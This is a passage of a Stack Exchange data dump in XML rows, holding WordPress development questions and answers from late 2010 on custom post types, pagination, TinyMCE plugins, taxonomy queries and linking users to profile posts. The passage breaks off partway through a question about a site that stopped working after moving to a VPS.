  <row Id="6143" PostTypeId="1" AcceptedAnswerId="6149" CreationDate="2010-12-30T17:15:21.627" Score="1" ViewCount="653" Body="&lt;p&gt;i have a site (&lt;a href=&quot;http://fashionlog.com.br&quot; rel=&quot;nofollow&quot;&gt;http://fashionlog.com.br&lt;/a&gt;) with a custom post type 'fotolog' as you can see on the right side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The posts and pagination of the blog (central column) work fine. But when it comes to the posts and pagination of my CPT it goes wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i dont use &lt;strong&gt;the flush_rewrite_rules( false );&lt;/strong&gt; function after my register_post_type() call in functions.php, i can see the posts but the pagination doesnt work. If a use the function it's the oposite, i can't see the posts (404) but i get the pagination!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying lots of times to switch the permalinks structure for tests, i checked my .htaccess file and its permissions, i tryed to &quot;play&quot; with the 'rewrite' parameter of the register_post_type() function, i've read and tryed the solution written &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3122/wordpress-custom-post-types-breaks-permalink-on-theme-reinstall/6138&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and also &lt;a href=&quot;http://xplus3.net/2010/05/20/wp3-custom-post-type-permalinks/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;... So far no luck, or am i missing something super obvious?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really be grateful for some help. &lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2010-12-30T20:28:27.190" Title="Custom post type, permalinks &amp; pagination, going wrong" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="6144" PostTypeId="2" ParentId="4479" CreationDate="2010-12-30T17:33:53.030" Score="0" ViewCount="" Body="&lt;p&gt;Fantastic. I've needed this for years!! great work.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-30T17:33:53.030" CommentCount="2" />
  <row Id="6145" PostTypeId="2" ParentId="2851" CreationDate="2010-12-30T17:40:21.277" Score="0" ViewCount="" Body="&lt;p&gt;@Moettinger&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just happened to come across this article while looking for a solution to have a horizontal scroller with post_thumbs. At the moment I am using something which you can see here: www.staygoldphotography.com &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thumbnail &quot;scroller&quot; on the bottom isn't really a scroller, it just shows 10 thumbs and will stack them on top of each other when the end of the line is reached. I need it function as a scroller and it's not possible to do so as is. On the hunt for something that could work I came across this post and it seems to be exactly what I need. &#xA;I've downloaded the code-snippets from here, but I have no idea how to implement this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping you could help me out or at least point me in the right direction...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;Stay Gold&lt;/p&gt;&#xA;" LastActivityDate="2010-12-30T17:40:21.277" />
  <row Id="6146" PostTypeId="1" CreationDate="2010-12-30T18:13:55.797" Score="0" ViewCount="269" Body="&lt;p&gt;Here is the design I have mocked up &#xA;&lt;a href=&quot;http://enormo.us/clients/ischool/&quot; rel=&quot;nofollow&quot;&gt;http://enormo.us/clients/ischool/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, how can I create a filtering system where the main blog area acts as the central feed and it combines the result of all three filters. I would know how to do one of those rows, but im having trouble with all three together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance clicking on ischool life, students, and comments; would bring up only posts that are in the category iSchool Life, written by students, and sorted by the most comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, even doing this type of thing not related to WordPress that would be cool too. I know it is used in eCommerce sites all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dave&lt;/p&gt;&#xA;" LastActivityDate="2010-12-30T19:48:19.923" Title="Sorting/Filter posts from front-end in Wordpress blog" Tags="&lt;sort&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="6147" PostTypeId="1" AcceptedAnswerId="6156" CreationDate="2010-12-30T19:36:59.873" Score="0" ViewCount="302" Body="&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Found that the theme options panel set up (using a class) was causing the problem. Still not sure why - would still love know how to find out what the problem is - e.g. is it a JS or PHP issue. Going to try a different method of creating the theme options panel to see if it fixes the problem.&#xA;&lt;hr /&gt;&#xA;I am able to add extra TinyMCE buttons that are bundled (e.g. HR, anchor), but am unable to add custom plugins of my own. I have also noticed that other plugins (WP-Table Reloaded, cForms, TinyMCE Advanced) are also unable to load custom plugins. Disabling all other plugins does not solve the issue. What could be causing this, and/or how can I find the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When viewing source of an edit post screen, mceInit options do not list any plugins besides those defined as WP default. Altering the $initArray does work, but of course does not point to the correct location of added plugins.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="2226" LastEditorDisplayName="" LastEditDate="2011-01-03T21:50:54.983" LastActivityDate="2011-01-03T21:50:54.983" Title="How can I troubleshoot why TinyMCE won't load custom plugins in the visual editor?" Tags="&lt;tinymce&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="6148" PostTypeId="2" ParentId="6146" CreationDate="2010-12-30T19:48:19.923" Score="2" ViewCount="" Body="&lt;p&gt;Best tutorial I've seen on doing this is Chris Coyier's Dynamic Archives on Digging into WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://digwp.com/2010/10/dynamic-archives/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2010/10/dynamic-archives/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1340" LastActivityDate="2010-12-30T19:48:19.923" CommentCount="1" />
  <row Id="6149" PostTypeId="2" ParentId="6143" CreationDate="2010-12-30T20:28:27.190" Score="2" ViewCount="" Body="&lt;p&gt;Make sure your query has paged in it like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('post_type=fotolog' . '&amp;amp;paged=' . get_query_var('paged'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check to be sure that you don't have page and a post type with the same permalink /foflog and /fotolog/your-post-name-here&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-12-30T20:28:27.190" />
  <row Id="6150" PostTypeId="1" AcceptedAnswerId="6151" CreationDate="2010-12-30T22:31:11.817" Score="1" ViewCount="149" Body="&lt;p&gt;I am registering sidebars automatically for each category (a separate widget space per category).  The technique I'm using is &lt;strong&gt;&lt;a href=&quot;http://wordpress.org/support/topic/how-do-i-register-one-sidebar-for-widgets-per-category?replies=4#post-1120013&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the admin side I have an options page where I need to display a dropdown of all registered sidebars... Is there are way to dynamically get this list of registered sidebars?  since they're being registered in functions.php I assume they're in memory, not in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could keep track of the sidebars I register in some global variable, but just in case plugins register their own sidebars, I'd like to account for them too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll dig through the core if I have to, but thought someone might know off-hand:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2227" LastEditorUserId="2227" LastEditorDisplayName="" LastEditDate="2010-12-30T22:45:14.427" LastActivityDate="2010-12-30T22:58:57.957" Title="Get list of all registered sidebars" Tags="&lt;sidebar&gt;&lt;register-sidebar&gt;" AnswerCount="1" />
  <row Id="6151" PostTypeId="2" ParentId="6150" CreationDate="2010-12-30T22:58:57.957" Score="2" ViewCount="" Body="&lt;p&gt;Hmm... I'm not sure if this is the best way to do it but it's simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in register_sidebar() and found that new sidebars are simply tacked onto an array:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$wp_registered_sidebars&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I guess that's that.  If they ever change the name of the variable, I guess I'd be screwed.&lt;/p&gt;&#xA;" OwnerUserId="2227" LastActivityDate="2010-12-30T22:58:57.957" CommentCount="1" />
  <row Id="6152" PostTypeId="1" AcceptedAnswerId="6155" CreationDate="2010-12-30T23:58:20.367" Score="0" ViewCount="204" Body="&lt;p&gt;So I have a custom type called &quot;vendors&quot; and two custom taxonomies for it. One is &quot;state&quot; and the other is &quot;type&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to list all the vendors from a certain state on one page. I'm using the file called &quot;taxonomy-state.php&quot; which works perfectly. It displays all the vendors in the state. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what I want to do is specify the types of vendors in order. So the page will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vendors in &quot;STATE&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vendor Type #1:&#xA;      Vendor #1 &#xA;      Vendor #2 &#xA;      Vendor #3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vendor Type #2:&#xA;      Vendor #1 &#xA;      Vendor #2 &#xA;      Vendor #3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it to display vendors by state. But I need to display them in the above layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an idea of how to do it. But I need to be able to make a query that can get a vendor from a certain state and certain vendor type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alain&lt;/p&gt;&#xA;" OwnerUserId="1983" LastActivityDate="2011-02-04T19:25:41.100" Title="Query posts with double taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;terms&gt;" AnswerCount="2" />
  <row Id="6153" PostTypeId="1" AcceptedAnswerId="6198" CreationDate="2010-12-31T00:21:19.257" Score="1" ViewCount="382" Body="&lt;p&gt;On a multi author WordPress blog I need to show a list with more posts from the current author. The list is inside the Loop, so I can use &lt;code&gt;&amp;lt;?php the_author_meta('first_name'); ?&amp;gt; &amp;lt;?php the_author_meta('last_name'); ?&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;?php the_author_meta('description'); ?&amp;gt;&lt;/code&gt;, but how to retrieve the user's posts?&lt;/p&gt;&#xA;" OwnerUserId="2228" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:40:06.820" LastActivityDate="2011-02-16T22:49:58.953" Title="More posts from the current author" Tags="&lt;author&gt;&lt;get-posts&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="6154" PostTypeId="1" AcceptedAnswerId="6167" CreationDate="2010-12-31T00:49:35.567" Score="0" ViewCount="391" Body="&lt;p&gt;Hello friends I am trying to get my wordpress posts to display in a non- wordpress application. Currently I am getting them by using the following method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wordPress page is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;    &amp;lt;!-- header content goes here --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;main-body&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;!-- Main Body goes here --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;        &amp;lt;!-- My Sidebar Widgets go here --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;footer&quot;&#xA;    &amp;lt;!-- My footer goes here --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php file_get_contents('http://mysite.com/blog'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's working ok but there are 2 issues.........&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It is getting the entire page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My page stops loading till it fetches the wordpress data. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hence I thought AJAX was the solution. But I don't know AJAX. hence decided to seek help here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking for is that I just want the output content of #Content Div and #sidebar Div separately so that I can place them in my other application in two different places. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't even need the CSS or JS as they are common for both my themes. I just want the output and separately placed at 2 different place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="2122" LastActivityDate="2010-12-31T09:45:38.277" Title="WordPress : using AJAX to get posts &amp; Sidebar Content to an external application" Tags="&lt;3.0&gt;&lt;posts&gt;&lt;ajax&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="6155" PostTypeId="2" ParentId="6152" CreationDate="2010-12-31T00:50:17.073" Score="5" ViewCount="" Body="&lt;p&gt;Hopefully someone else will flesh out this answer, I don't have the time to write out a full solution right now...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using WordPress 3.1, look at the &lt;code&gt;tax_query&lt;/code&gt; parameter that you can pass to &lt;code&gt;query_posts&lt;/code&gt;. It can handle multiple taxonomies and relationships between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otto's post &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.1: Advanced Taxonomy Queries&lt;/a&gt; is the best explanation I've seen of what tax queries can do, and how to use them...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In older versions of WP, you're stuck using a plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;like this one&lt;/a&gt;, or rolling your own fairly complex SQL queries.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-31T00:50:17.073" CommentCount="3" />
  <row Id="6156" PostTypeId="2" ParentId="6147" CreationDate="2010-12-31T02:21:53.427" Score="1" ViewCount="" Body="&lt;p&gt;You should read this: &lt;a href=&quot;http://codex.wordpress.org/TinyMCE_Custom_Buttons&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/TinyMCE_Custom_Buttons&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty straightforward if you already know how to program a TinyMCE plugin (which it sounds like you do).&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-12-31T02:21:53.427" CommentCount="3" />
  <row Id="6158" PostTypeId="2" ParentId="6126" CreationDate="2010-12-31T04:07:00.060" Score="1" ViewCount="" Body="&lt;p&gt;So I started going thru plugins and my Mailchimp plugin seemed to be the issue as I can tell so far. I'm no longer getting any errors.&lt;/p&gt;&#xA;" OwnerUserId="2050" LastActivityDate="2010-12-31T04:07:00.060" CommentCount="1" />
  <row Id="6159" PostTypeId="1" AcceptedAnswerId="6166" CreationDate="2010-12-31T04:15:22.340" Score="0" ViewCount="116" Body="&lt;p&gt;when does &amp;lt;!--nextpage--&amp;gt; get processed by wordpress filtering. i am adding  multiple paged posts in post content on the content_save_pre and this is good for rendering my shortcodes, but &amp;lt;!--nextpage--&amp;gt; doesnt get processed and shows up as an html comment&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2011-01-01T20:42:09.787" Title="When does wordpress process &amp;lt;!--nextpage--&amp;gt;" Tags="&lt;filters&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="6160" PostTypeId="2" ParentId="6154" CreationDate="2010-12-31T05:46:15.950" Score="0" ViewCount="" Body="&lt;p&gt;If you're using jQuery, you can request part of a page. &lt;a href=&quot;http://stackoverflow.com/questions/2137811/extract-part-of-html-document-in-jquery&quot;&gt;Here's an example&lt;/a&gt; using this technique.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2010-12-31T05:46:15.950" CommentCount="1" />
  <row Id="6161" PostTypeId="2" ParentId="6153" CreationDate="2010-12-31T06:13:11.220" Score="0" ViewCount="" Body="&lt;p&gt;I think you can use the wordpress query_posts function for this.  Take a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt; .  This might not be enough to do what you need, but should get you started looking around the function reference.&lt;/p&gt;&#xA;" OwnerUserId="2092" LastActivityDate="2010-12-31T06:13:11.220" CommentCount="2" />
  <row Id="6162" PostTypeId="1" CreationDate="2010-12-31T07:14:14.457" Score="0" ViewCount="246" Body="&lt;p&gt;I created two custom post types and one custom taxonomy. I wanted to be able to link the two different post types by applying the same taxonomy to both. How could I do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenrio:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Post Type One: Places (eg. The Grand Canyon)&#xA;Custom Post Type Two: Trips (eg. Journey Aboard the Grand Canyon Railway, Grand Canyon National Park South Rim Bus Tour)&#xA;Custom Taxonomy: Location (eg. Arizona)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I add a Place called Grand Canyon and two Trips Called Journey Aboard... &amp;amp; South Rim Bus... I would tag all with the Location Arizona, because they are all related to Arizona. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, how would I be able to automatically display the list of all Trips that are related to a Place based on the Location that they are tagged with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Is there a better way to accomplish this?&lt;/p&gt;&#xA;" LastActivityDate="2010-12-31T10:56:03.017" Title="How to display post from one custom post type in another custom post type with the same taxonomy?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="4" />
  <row Id="6163" PostTypeId="1" AcceptedAnswerId="6165" CreationDate="2010-12-31T08:11:36.920" Score="3" ViewCount="630" Body="&lt;p&gt;I am trying to build custom user profile with the guidance of this tutorial: &lt;a href=&quot;http://blogmum.com/2009/06/how-to-make-a-wordpress-profile-page/&quot; rel=&quot;nofollow&quot;&gt;How to make a WordPress profile page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have successfully implemented it to my theme, everything is working well.&#xA;Now what I want to achieve is to get the comment template in the user profile page, where other registered user can post comment on his profile page, kinda like facebook wall or last.fm shoutbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the author page I am added this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comments_template(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it does not show up. &#xA;Then I tried this way: &lt;a href=&quot;http://www.nkuttler.de/post/get-wordpress-comments-outside-of-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Get WordPress comments outside of WordPress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It adds the comment template alright but, does not work. When you click on on the submit button it redirects to a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the goal is not achievable easily, it requires custom database creation for each user to store the comments, since the comment system only stores comments of certain page or post, not for any other page like archive or author page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can show me the right direction, I will be forever grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Towfiq I.&lt;/p&gt;&#xA;" OwnerUserId="1905" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-31T10:45:27.043" LastActivityDate="2011-01-03T21:17:38.463" Title="Commenting in user profile page?" Tags="&lt;comments&gt;&lt;users&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="6164" PostTypeId="1" AcceptedAnswerId="6174" CreationDate="2010-12-31T09:02:02.827" Score="1" ViewCount="83" Body="&lt;p&gt;I am adding administration pages using &lt;code&gt;add_menu_page()&lt;/code&gt; function. But it wont look good. Check the image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/5vrEQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have it as separated and in between Appearance and Plugins section with rounded borders.&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2010-12-31T16:23:56.360" Title="Administration Pages Styling" Tags="&lt;theme-development&gt;&lt;admin&gt;&lt;admin-menu&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6165" PostTypeId="2" ParentId="6163" CreationDate="2010-12-31T09:37:33.273" Score="7" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Towfiq&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comments are related in the database to Posts. You'll have to do a lot of work to get Comments to relate to Users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you considered creating a &lt;a href=&quot;http://files.meetup.com/1280797/custom-post-types-for-wordpress-atlwp-2010-10-24.html&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type&lt;/a&gt; for Users and then use either a &lt;code&gt;user_meta&lt;/code&gt; field to store the &lt;code&gt;post_id&lt;/code&gt;, or a &lt;code&gt;postmeta&lt;/code&gt; field to store the &lt;code&gt;user_id&lt;/code&gt;, or both? If you did that then you would get the comments with no effort at all.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What follows is code developed after our discussion in the comments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been meaning to write something like this for a long time but your question finding got me to make it a priority. I've created a &lt;code&gt;'towfiq-person'&lt;/code&gt; custom post type for you and I've set it up to automatically add a Person post whenever a User is added and it uses the email address as the associating key in a post custom field called &lt;code&gt;'_email'&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also associates a User with an appropriate email address to the Person post if a User is added or updated with the same email as an existing Person &lt;em&gt;(this may or may not be a good idea.)&lt;/em&gt; And it cross-references User with Person and Person with User using postmeta and usermeta fields &lt;code&gt;'_user_id'&lt;/code&gt; and &lt;code&gt;'_person_id'&lt;/code&gt;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are of course business rules I chose to implement but they may turn out not to be appropriate for your use-case in which case you may need to modify them.  You also may find ways that WordPress allows these two to get out of sync but it's hard to know that without exhaustive testing. If you find issues you can always look to update the logic to resolve them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can copy the following code to your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Towfiq_Person {&#xA;  static function on_load() {&#xA;    add_action('init',array(__CLASS__,'init'));&#xA;    add_action('wp_insert_post',array(__CLASS__,'wp_insert_post'),10,2);&#xA;    add_action('profile_update',array(__CLASS__,'profile_update'),10,2);&#xA;    add_action('user_register',array(__CLASS__,'profile_update'));&#xA;    add_filter('author_link',array(__CLASS__,'author_link'),10,2);&#xA;    add_filter('get_the_author_url',array(__CLASS__,'author_link'),10,2);&#xA;  }&#xA;  static function init() {&#xA;    register_post_type('towfiq-person',&#xA;      array(&#xA;        'labels'          =&amp;gt; array('name'=&amp;gt;'People','singular_name'=&amp;gt;'Person'),&#xA;        'public'          =&amp;gt; true,&#xA;        'show_ui'         =&amp;gt; true,&#xA;        'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'people'),&#xA;        'hierarchical'    =&amp;gt; false,&#xA;        //'supports'        =&amp;gt; array('title','editor','custom-fields'),&#xA;      )&#xA;    );&#xA;  }&#xA;  static function get_email_key() {&#xA;    return apply_filters( 'person_email_key', '_email' );&#xA;  }&#xA;  static function profile_update($user_id,$old_user_data=false) {&#xA;    global $wpdb;&#xA;    $is_new_person = false;&#xA;    $user = get_userdata($user_id);&#xA;    $user_email = ($old_user_data ? $old_user_data-&amp;gt;user_email : $user-&amp;gt;user_email);&#xA;    $email_key = self::get_email_key();&#xA;    $person_id = $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare(&quot;SELECT post_id FROM {$wpdb-&amp;gt;postmeta} WHERE meta_key='%s' AND meta_value='%s'&quot;,$email_key,$user_email));&#xA;    if (!is_numeric($person_id)) {&#xA;      $person_id = $is_new_person = wp_insert_post(array(&#xA;        'post_type' =&amp;gt; 'towfiq-person',&#xA;        'post_status' =&amp;gt; 'publish',   // Maybe this should be pending or draft?&#xA;        'post_title' =&amp;gt; $user-&amp;gt;display_name,&#xA;      ));&#xA;    }&#xA;    update_user_meta($user_id,'_person_id',$person_id);&#xA;    update_post_meta($person_id,'_user_id',$user_id);&#xA;    if ($is_new_person || ($old_user_data &amp;amp;&amp;amp; $user-&amp;gt;user_email!=$old_user_data-&amp;gt;user_email)) {&#xA;      update_post_meta($person_id,$email_key,$user-&amp;gt;user_email);&#xA;    }&#xA;  }&#xA;  static function wp_insert_post($person_id,$person) {&#xA;    if ($person-&amp;gt;post_type=='towfiq-person') {&#xA;      $email = get_post_meta($person_id,self::get_email_key(),true);&#xA;      if (filter_var($email, FILTER_VALIDATE_EMAIL)) {&#xA;        $user = get_user_by('email',$email);&#xA;        if ($user) { // Associate the user IF there is an user with the same email address&#xA;          update_user_meta($user-&amp;gt;ID,'_person_id',$person_id);&#xA;          update_post_meta($person_id,'_user_id',$user-&amp;gt;ID);&#xA;        } else {&#xA;          delete_post_meta($person_id,'_user_id');&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;  static function get_user_id($person_id) {&#xA;    return get_user_meta($user_id,'_user_id',true);&#xA;  }&#xA;  static function get_user($person_id) {&#xA;    $user_id = self::get_user_id($person_id);&#xA;    return get_userdata($user_id);&#xA;  }&#xA;  static function get_person_id($user_id) {&#xA;    return get_user_meta($user_id,'_person_id',true);&#xA;  }&#xA;  static function get_person($user_id) {&#xA;    $person_id = self::get_person_id($user_id);&#xA;    return get_post($person_id);&#xA;  }&#xA;  static function author_link($permalink, $user_id) {&#xA;    $author_id = get_user_meta($user_id,'_person_id',true);&#xA;    if ($author_id) // If an associate is found, use it&#xA;      $permalink = get_post_permalink($author_id);&#xA;    return $permalink;&#xA;  }&#xA;}&#xA;Towfiq_Person::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need any clarifications to what I did and why, just ask in the comments.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-03T21:17:38.463" LastActivityDate="2011-01-03T21:17:38.463" CommentCount="29" />
  <row Id="6166" PostTypeId="2" ParentId="6159" CreationDate="2010-12-31T09:40:13.303" Score="1" ViewCount="" Body="&lt;p&gt;I am not sure what you mean by rendering shortcodes at that stage, they are usually rendered when content is retrieved for display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;nextpage&lt;/em&gt; tag is processed in &lt;code&gt;setup_postdata()&lt;/code&gt; ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/query.php#L2838&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ), which is called by &lt;code&gt;the_post()&lt;/code&gt;. In other words - during Loop.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-31T09:40:13.303" CommentCount="2" />
  <row Id="6167" PostTypeId="2" ParentId="6154" CreationDate="2010-12-31T09:45:38.277" Score="2" ViewCount="" Body="&lt;p&gt;If it is all on same server it is rather easy to load WP engine and parts you need, see &lt;a href=&quot;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&quot; rel=&quot;nofollow&quot;&gt;Integrating WordPress with Your Website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise there is probably better to get specific data (rather than whole page) from WordPress remotely, but there are a lot of approaches to that. Also I am not aware of any off-the-shelf code that allows to do that for sidebars. For post content there is &lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;XML-RPC&lt;/a&gt; support and plugins for other formats (I think I read about JSON one).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-31T09:45:38.277" CommentCount="1" />
  <row Id="6168" PostTypeId="1" AcceptedAnswerId="6202" CreationDate="2010-12-31T09:47:02.053" Score="-2" ViewCount="112" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;i just transferred my website from&#xA;  shared server to VPS, but then it is&#xA;  not starting, when i inquired with the&#xA;  VPS technical support then they&#xA;  emailed me something this, which i am&#xA;  not understanding:- email&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Your site &quot;www.onlinemba.co.in&quot; has&#xA;    been migrated from your previous host&#xA;    and we are now getting a blank page&#xA;    while accessing the database dependant&#xA;    php files. There seems to be an issue&#xA;    with the database codings as all other&#xA;    php files are accessing fine and there&#xA;    is also no problem with the database&#xA;    connectivity. You can check for the&#xA;    same by accessing the site preview URL&#xA;    &quot;http://38.100.101.228/info.php&quot;.&lt;/p&gt;&#xA;    &#xA;    